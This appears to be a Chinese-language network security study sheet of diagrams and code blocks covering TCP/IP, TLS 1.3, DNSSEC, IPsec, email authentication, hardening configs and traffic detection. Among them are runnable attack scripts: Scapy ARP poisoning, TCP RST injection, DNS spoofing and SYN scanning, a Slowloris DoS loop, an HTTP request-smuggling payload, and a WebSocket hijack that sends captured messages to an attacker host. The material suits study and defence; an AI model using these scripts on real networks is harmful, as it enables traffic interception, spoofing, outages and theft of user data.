1
    OSI 模型                    TCP/IP 模型                 典型协议 / PDU
2
 ┌──────────────┐           ┌─────────────────┐
3
 │ 7 应用 App   │           │                 │  HTTP, DNS, SSH, SMTP
4
 ├──────────────┤           │   应用层         │  ── PDU: Message / Request
5
 │ 6 表示 Pres. │           │                 │
6
 ├──────────────┤           ├─────────────────┤
7
 │ 5 会话 Sess. │           │                 │
8
 ├──────────────┤           ├─────────────────┤
9
 │ 4 传输       │           │   传输层         │  TCP / UDP / SCTP / QUIC
10
 │              │           │                 │  ── PDU: Segment / Datagram
11
 ├──────────────┤           ├─────────────────┤
12
 │ 3 网络       │           │   网络层         │  IPv4 / IPv6 / ICMP / IPSec
13
 │              │           │                 │  ── PDU: Packet
14
 ├──────────────┤           ├─────────────────┤
15
 │ 2 数据链路   │           │                 │  Ethernet / ARP / PPP / 802.11
16
 ├──────────────┤           │   网络接入层     │  ── PDU: Frame
17
 │ 1 物理       │           │                 │  光 / 铜 / 无线电
18
 └──────────────┘           └─────────────────┘  ── PDU: Bit

1
Application Data
2
        │ add TCP header
3
        ▼
4
┌────────────────┐
5
│ TCP header | Data │         Segment
6
└──────────┬────────┘
7
           │ add IP header
8
           ▼
9
┌────────────────────────┐
10
│ IP header | TCP | Data │    Packet
11
└──────────┬──────────────┘
12
           │ add Eth header + FCS
13
           ▼
14
┌───────────────────────────────────┐
15
│ Eth | IP | TCP | Data | FCS       │ Frame（MTU ≤ 1500 字节）
16
└───────────────────────────────────┘

1
Client                                        Server
2
  │ ── SYN (seq=x) ───────────────────────────▶ │
3
  │ ◀─ SYN+ACK (seq=y, ack=x+1) ─────────────── │
4
  │ ── ACK (ack=y+1) ────────────────────────▶ │
5
  │               已建立 (ESTABLISHED)           │
6
  │ ...                                          │
7
  │ ── FIN ──────────────────────────────────▶ │
8
  │ ◀─ ACK ────────────────────────────────────│
9
  │ ◀─ FIN ────────────────────────────────────│
10
  │ ── ACK ──────────────────────────────────▶ │
11
  │              TIME_WAIT (2 MSL)               │

1
                    LISTEN
2
                       │ recv SYN / send SYN+ACK
3
                       ▼
4
     ┌─────────── SYN_RCVD ─────────────┐
5
     │                                  │
6
     │ send SYN / recv SYN+ACK          │ recv ACK
7
     ▼                                  ▼
8
  SYN_SENT ─────────────────────▶ ESTABLISHED
9
                                        │
10
           close / send FIN ┌──────────┼───────────┐ recv FIN / send ACK
11
                            ▼          │           ▼
12
                       FIN_WAIT_1    同时关闭    CLOSE_WAIT
13
                            │                       │ close / send FIN
14
                  recv ACK  │                       ▼
15
                            ▼                   LAST_ACK
16
                       FIN_WAIT_2                   │ recv ACK
17
                            │ recv FIN / send ACK   ▼
18
                            ▼                     CLOSED
19
                        TIME_WAIT ───2 MSL──▶ CLOSED

1
 0                   1                   2                   3
2
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
3
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
4
|Version|  IHL  |Type of Service|          Total Length         |
5
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
6
|         Identification        |Flags|      Fragment Offset    |
7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
8
|  Time to Live |    Protocol   |         Header Checksum       |
9
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
10
|                       Source Address                          |
11
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
12
|                    Destination Address                        |
13
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
14
|                    Options (variable)          |   Padding     |
15
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

1
def ipv4_checksum(header_bytes: bytes) -> int:
2
    """16-bit ones' complement of the ones' complement sum.
3
    Header 必须去掉 checksum 字段自身（置零后计算）。
4
    """
5
    if len(header_bytes) % 2:
6
        header_bytes += b'\x00'
7
    s = 0
8
    for i in range(0, len(header_bytes), 2):
9
        word = (header_bytes[i] << 8) + header_bytes[i+1]
10
        s += word
11
        s = (s & 0xFFFF) + (s >> 16)
12
    return (~s) & 0xFFFF

1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
2
|Version| Traffic Class |              Flow Label               |
3
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
4
|         Payload Length        |  Next Header  |   Hop Limit   |
5
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
6
|                        Source Address (128 bit)               |
7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
8
|                      Destination Address (128 bit)            |
9
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

1
受害者 PC   ──── 广播 "谁有 192.168.1.1?" ───▶
2
攻击者      ◀── 抢答 "我是 1.1，我的 MAC 是 AA:..." ──
3
受害者 PC   → 发送所有流量到攻击者

1
from scapy.all import ARP, Ether, sendp, srp
2
import time, sys
3

4
def get_mac(ip, iface):
5
    ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff') / ARP(pdst=ip),
6
                 timeout=2, iface=iface, verbose=0)
7
    return ans[0][1].hwsrc if ans else None
8

9
def poison(victim_ip, gateway_ip, iface='eth0'):
10
    attacker_mac = '00:11:22:33:44:55'   # 自己
11
    victim_mac = get_mac(victim_ip, iface)
12
    gw_mac     = get_mac(gateway_ip, iface)
13
    print(f"victim={victim_ip}/{victim_mac}  gw={gateway_ip}/{gw_mac}")
14
    while True:
15
        # 对受害者说：网关的 MAC 是我的
16
        sendp(Ether(dst=victim_mac) /
17
              ARP(op=2, psrc=gateway_ip, pdst=victim_ip, hwdst=victim_mac),
18
              iface=iface, verbose=0)
19
        # 对网关说：受害者的 MAC 是我的
20
        sendp(Ether(dst=gw_mac) /
21
              ARP(op=2, psrc=victim_ip, pdst=gateway_ip, hwdst=gw_mac),
22
              iface=iface, verbose=0)
23
        time.sleep(2)
24

25
if __name__ == '__main__':
26
    poison(sys.argv[1], sys.argv[2])

1
interface range GigabitEthernet1/0/1 - 24
2
 switchport mode access
3
 spanning-tree portfast
4
 spanning-tree bpduguard enable
5
 spanning-tree guard root
6
!
7
ip dhcp snooping
8
ip dhcp snooping vlan 10
9
interface GigabitEthernet1/0/1
10
 ip dhcp snooping limit rate 15
11
!
12
ip arp inspection vlan 10

1
用户 → 本地 Resolver → 根 . → TLD .com → 权威 example.com

1
+---------------------+
2
|        Header       |   12 bytes
3
+---------------------+
4
|       Question      |   域名 + QType + QClass
5
+---------------------+
6
|        Answer       |   RR: name, type, class, ttl, rdata
7
+---------------------+
8
|      Authority      |
9
+---------------------+
10
|      Additional     |
11
+---------------------+

1
. (根)  ──签名──▶ com. (TLD)  ──签名──▶ example.com.
2
 KSK → ZSK → RRset

1
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxx'
3
X-Frame-Options: DENY
4
X-Content-Type-Options: nosniff
5
Referrer-Policy: strict-origin-when-cross-origin
6
Permissions-Policy: camera=(), microphone=(), geolocation=()
7
Cross-Origin-Opener-Policy: same-origin
8
Cross-Origin-Embedder-Policy: require-corp
9
Cross-Origin-Resource-Policy: same-site

1
POST / HTTP/1.1
2
Host: victim
3
Content-Length: 13
4
Transfer-Encoding: chunked
5

6
0
7

8
SMUGGLED

1
攻击步骤：
2
1. 客户端建立 H2 连接
3
2. 快速发送 HEADERS 帧（创建 stream 1,3,5,...）
4
3. 立即对每条 stream 发送 RST_STREAM
5
4. 并发成千上万次 → 后端 CPU 饱和

1
Client                                       Server
2
  │ ClientHello (支持的套件、key_share) ───────▶ │
3
  │ ◀── ServerHello + EncryptedExtensions ────  │
4
  │      + Certificate + CertVerify + Finished  │
5
  │ ── Finished (Application Data) ───────────▶ │

1
              0 (全零向量)
2
                │
3
                │  PSK (or 0)
4
                ▼
5
         HKDF-Extract  →  Early Secret
6
                │
7
                │  derive "ext binder" / "res binder" / "c e traffic" ...
8
                ▼
9
         HKDF-Extract  →  Handshake Secret
10
                │         (with ECDHE shared secret)
11
                │  derive "c hs traffic" / "s hs traffic"
12
                ▼
13
         HKDF-Extract  →  Master Secret  (with 0)
14
                │
15
                │  derive "c ap traffic" / "s ap traffic"
16
                ▼
17
           Application Traffic Keys

1
根 CA → 中间 CA → 服务器证书
2
     ↓              ↓
3
   自签名        OCSP / CRL 吊销

1
def verify_cert_chain(server_cert, intermediates, trust_store, hostname, now):
2
    chain = build_chain(server_cert, intermediates, trust_store)
3
    if not chain:
4
        raise CertError("cannot build chain to trusted root")
5

6
    for i, cert in enumerate(chain):
7
        # 1. 时效
8
        if not (cert.not_before <= now <= cert.not_after):
9
            raise CertError("expired")
10
        # 2. 签名
11
        if i + 1 < len(chain):
12
            issuer = chain[i+1]
13
            if not verify_signature(cert, issuer.public_key):
14
                raise CertError("bad signature")
15
        # 3. 基本约束、密钥用途
16
        if cert.is_ca and not cert.key_usage.allows("keyCertSign"):
17
            raise CertError("CA without keyCertSign")
18
        # 4. 名称匹配（仅叶子）
19
        if i == 0 and not match_hostname(cert, hostname):
20
            raise CertError("hostname mismatch")
21
        # 5. 吊销（OCSP / CRL）
22
        status = ocsp_check(cert, issuer)
23
        if status == "revoked":
24
            raise CertError("revoked")
25
        # 6. SCT（CT 日志）
26
        if len(cert.scts) < 2:
27
            raise CertError("insufficient SCTs")
28
    return True

1
传输模式：保护 IP 负载（IP Hdr | ESP Hdr | TCP/UDP | Data | ESP Trail | ESP Auth）
2
隧道模式：整个 IP 包被加密 + 外层新 IP（NewIP | ESP | OrigIP | TCP | Data | ESP*）

1
src                                        dst
2
 │  Type=1 Initiation (pubkey, ephemeral) ▶
3
 │                                         │  verify + derive key
4
 │ ◀ Type=2 Response (ephemeral, cookie)   │
5
 │  data (AEAD: ChaCha20-Poly1305) ─▶       │

1
# 本地端口转发：本地 9000 → 跳板 → 内网 web 80
2
ssh -L 9000:internal.web:80 user@jump
3

4
# 远程端口转发：让跳板的 2222 转发到本地 22（内网穿透）
5
ssh -R 2222:localhost:22 user@jump
6

7
# 动态 SOCKS5 代理
8
ssh -D 1080 user@jump

1
AS owner → 签 ROA → IANA/RIR 发布
2
路由器查询 → Valid / Invalid / NotFound

1
example.com.  TXT  "v=spf1 include:_spf.google.com -all"

1
DKIM-Signature: v=1; a=rsa-sha256; d=example.com; s=20230101;
2
    h=from:to:subject:date;
3
    bh=...base64 hash...;
4
    b=...base64 signature...

1
_dmarc.example.com.  TXT  "v=DMARC1; p=reject; rua=mailto:dmarc@example.com; adkim=s; aspf=s"

1
from scapy.all import sniff, IP, TCP, send
2

3
def inject_rst(pkt):
4
    if pkt.haslayer(TCP) and pkt[TCP].flags == 0x18:    # PSH|ACK
5
        rst = IP(src=pkt[IP].dst, dst=pkt[IP].src) / \
6
              TCP(sport=pkt[TCP].dport, dport=pkt[TCP].sport,
7
                  seq=pkt[TCP].ack, ack=pkt[TCP].seq + len(pkt[TCP].payload),
8
                  flags='R')
9
        send(rst, verbose=0)
10

11
sniff(filter="tcp and host 192.168.1.100", prn=inject_rst, store=0)

1
from scapy.all import sniff, DNS, DNSRR, UDP, IP, send, DNSQR
2

3
def dns_spoof(pkt):
4
    if pkt.haslayer(DNSQR) and pkt[DNS].qr == 0:
5
        qname = pkt[DNSQR].qname.decode()
6
        if qname.rstrip('.') == 'example.com':
7
            resp = IP(src=pkt[IP].dst, dst=pkt[IP].src) / \
8
                   UDP(sport=53, dport=pkt[UDP].sport) / \
9
                   DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,
10
                       an=DNSRR(rrname=qname, ttl=300, rdata='6.6.6.6'))
11
            send(resp, verbose=0)
12

13
sniff(filter="udp port 53", prn=dns_spoof, iface="eth0", store=0)

1
from scapy.all import *
2
from scapy.layers.tls.all import *
3
load_layer("tls")
4

5
pkt = IP(dst='1.2.3.4') / TCP(dport=443, flags='S')
6
sr1(pkt)  # 三次握手略
7
hello = TLS(msg=TLSClientHello(version=0x0303, ciphers=[0x1301, 0x1302, 0x1303]))
8
send(IP(dst='1.2.3.4')/TCP(dport=443, flags='PA', seq=..., ack=...)/hello)

1
from scapy.all import sr1, IP, TCP, RandShort
2

3
def syn_scan(host, ports):
4
    open_ports = []
5
    for p in ports:
6
        resp = sr1(IP(dst=host)/TCP(sport=RandShort(), dport=p, flags='S'),
7
                   timeout=1, verbose=0)
8
        if resp and resp.haslayer(TCP) and resp[TCP].flags == 0x12:
9
            open_ports.append(p)
10
            send(IP(dst=host)/TCP(dport=p, flags='R'), verbose=0)   # 不建连
11
    return open_ports

1
import socket, threading, time
2

3
def slowloris(host, port=80, n=200):
4
    socks = []
5
    for _ in range(n):
6
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
7
        s.connect((host, port))
8
        s.send(b"GET /?x=1 HTTP/1.1\r\nHost: %s\r\nUser-Agent: x\r\n" % host.encode())
9
        socks.append(s)
10
    while True:
11
        for s in socks:
12
            try: s.send(b"X-a: b\r\n")
13
            except: pass
14
        time.sleep(15)
15

16
threading.Thread(target=slowloris, args=('victim', 80)).start()

1
JA3 = MD5( TLSVersion, Ciphers, Extensions, EllipticCurves, EllipticCurveFormats )

1
JA4 = t<TLS_Ver>_<SNIlen>_<CipherCount>_<ExtCount>_<ALPN>_<CipherHash6>_<ExtHash6>

1
ts  uid  id.orig_h  id.orig_p  id.resp_h  id.resp_p  proto  service
2
duration  orig_bytes  resp_bytes  conn_state  ...

1
zeek -Cr malware.pcap
2
cat conn.log | zeek-cut id.resp_h id.resp_p service | sort | uniq -c | sort -rn | head

1
index=suricata event_type=dns
2
| stats dc(dns.query_name) as unique_domains,
3
        sum(dns.query_length) as total_bytes by src_ip
4
| where unique_domains > 200 AND total_bytes > 100000

1
<!-- 受害者访问以下页面，会以其 cookie 建立 WS 会话 -->
2
<script>
3
  var ws = new WebSocket("wss://victim.example.com/chat");
4
  ws.onmessage = (e) => fetch("https://attacker/c?m=" + btoa(e.data));
5
</script>